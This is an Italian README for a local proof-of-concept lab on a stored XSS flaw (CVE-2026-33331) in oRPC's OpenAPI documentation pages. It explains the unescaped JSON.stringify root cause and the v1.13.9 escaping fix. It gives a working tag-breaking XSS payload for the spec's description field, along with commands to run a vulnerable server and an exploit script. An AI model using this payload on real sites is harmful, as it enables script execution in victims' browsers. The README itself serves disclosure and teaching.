
Laboratorio locale che riproduce una XSS memorizzata nella generazione della documentazione OpenAPI di oRPC (CVE-2026-33331), con versioni vulnerabili e corrette per il confronto e un PoC autonomo.
Laboratorio proof-of-concept per XSS persistente nella generazione della documentazione OpenAPI di orpc
oRPC genera pagine di documentazione API a partire da una specifica OpenAPI. Prima della versione v1.13.9 inseriva la specifica direttamente in un tag <script> usando JSON.stringify() senza alcuna codifica HTML. Qualsiasi campo controllato da un attaccante, come , poteva chiudere quel tag prematuramente ed eseguire script.
info.descriptionQuesto repository fornisce un laboratorio locale per riprodurre il bug, oltre a una versione corretta per il confronto.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (Neutralizzazione impropria dell'input durante la generazione di pagine web) |
| Prodotto | middleapi/orpc |
| Versioni interessate | Tutte le versioni precedenti alla v1.13.9 |
| Versione corretta | v1.13.9 |
| Scoperta | Abhay Kumar (@abhayclasher) |
Il codice vulnerabile in packages/openapi/src/plugins/openapi-reference.ts renderizza la specifica in questo modo:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() produce JSON valido, ma non esegue l'escape di < o >. Il browser tratta comunque </script> come un tag HTML di chiusura, anche all'interno di un <script type="application/json">.
Un payload in info.description che innesca l'esecuzione:
"</script><script>alert('XSS')</script>"
Il browser vede:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
Il primo </script> chiude il blocco. Tutto ciò che segue viene eseguito come JavaScript inline.
Questo si applica quando un'applicazione costruisce specifiche OpenAPI a partire da input controllati dall'utente, che è esattamente il caso che oRPC abilita tramite le sue definizioni di router.
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
Dopo l'avvio del server, visita questi URL:
| URL | Descrizione |
|---|---|
http://localhost:3000/docs | Pagina di documentazione vulnerabile — il payload XSS viene eseguito al caricamento |
http://localhost:3000/docs/safe | Stessa pagina con la patch v1.13.9 applicata |
http://localhost:3000/spec.json | Specifica OpenAPI JSON grezza |
La versione vulnerabile attiverà un alert() al caricamento della pagina, confermando l'esecuzione dello script. La versione corretta renderizza la stessa specifica dannosa in modo sicuro — il payload viene visualizzato come testo semplice.
Puoi anche eseguire il PoC autonomo:
cd poc
node exploit.js
Questo avvia un server minimale sulla porta 3000 che dimostra lo stesso bug senza il contesto completo dell'applicazione.
1. L'attaccante controlla un campo nella specifica OpenAPI (es. description)
2. oRPC genera l'HTML della documentazione con JSON.stringify(spec)
3. Il </script> nel payload chiude il tag <script> prematuramente
4. Il browser esegue tutto ciò che segue come JavaScript inline
┌─────────────────────────────────────────────────────┐
│ 1. Specifica dannosa creata: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc incorpora la specifica nell'HTML: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- tag │
│ <script>alert('XSS')</script> <-- payload │
│ "}} │
│ </script> │
│ │
│ 3. Il browser esegue alert('XSS') │
└─────────────────────────────────────────────────────┘
La versione 1.13.9 introduce escapeJsonForHtml(), che sostituisce i caratteri sensibili all'HTML con escape Unicode prima di incorporare il JSON nel tag script:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Gli escape Unicode funzionano perché restano JSON valido — JSON.parse() ricostruisce la stringa originale — ma non appaiono mai come HTML al parser del browser.
La patch ha anche spostato la lettura del JSON da un attributo dataset.config del DOM (che si rompeva quando i valori contenevano parentesi) all'assegnazione diretta del JSON con escape a una variabile inline.
Visualizza il commit completo: 4f0efa8
CVE-2026-33331/
├── README.md # Questo file
├── docker-compose.yml # Configurazione del laboratorio Docker
├── app/
│ ├── Dockerfile # Configurazione di build del container
│ ├── package.json # Dipendenze Node.js
│ └── server.js # Renderer della documentazione vulnerabile + corretta
└── poc/
└── exploit.js # Proof-of-concept minimale autonomo
Segnalato da Abhay Kumar. Questo repository è destinato esclusivamente a uso educativo locale. Non distribuire il server vulnerabile su una rete pubblica.
Solo a scopo educativo — utilizzare in ambienti isolati